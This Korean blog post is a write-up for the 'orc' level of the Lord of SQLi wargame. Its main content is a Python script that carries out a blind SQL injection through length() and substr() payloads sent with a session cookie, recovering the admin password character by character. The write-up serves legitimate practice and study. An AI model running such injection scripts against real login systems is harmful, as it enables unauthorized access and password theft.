Web/LOS

LOS - ORC

cloudnaaam 2024. 9. 15. 19:22

4번째 문제 ORC 이다.

 

소스 코드를 보면 이전과는 다른 느낌이 든다.

 

id 반환값이 있다면 Hello admin 을 반환하며 pw를 정확하게 맞춰야 문제를 풀 수 있다.

 

따라서 blind injection 이라는 것을 알 수 있다.

 

import requests

sess = '세션값'
pl = 0
password = ''

for i in range(1,50):
    r = requests.get(url, params={'pw':f"' or length(pw)={i};-- -"}, cookies={'PHPSESSID':sess})

    if '<br><h2>Hello admin' in r.text:
        print(i)
        pl = i
       

for i in range(1,pl+1):
    for j in range(33,127):
        r = requests.get(url, params={'pw':f"' or ord(substr(pw,{i},1))={j};-- -"}, cookies={'PHPSESSID':sess})
        if '<br><h2>Hello admin' in r.text:
            print(j)
            password += chr(j)
            break

print(password)

 

여기서 password 길이가 4, 8 총 두 개가 나오는데, 둘 다 해본 결과 8글자 짜리 패스워드가 맞는 답이었다.

 

그리고 LOS는 로그인 한 상태로 문제 푸는거라서 쿠키값에 세션 넣어서 요청 보내야 한다.

 

풀었다!

'Web > LOS' 카테고리의 다른 글

LOS - darkelf  (0) 2024.09.15
LOS - wolfman  (0) 2024.09.15
LOS - goblin  (0) 2024.09.15
LOS - cobolt  (0) 2024.09.15
LOS - gremlin  (1) 2024.09.15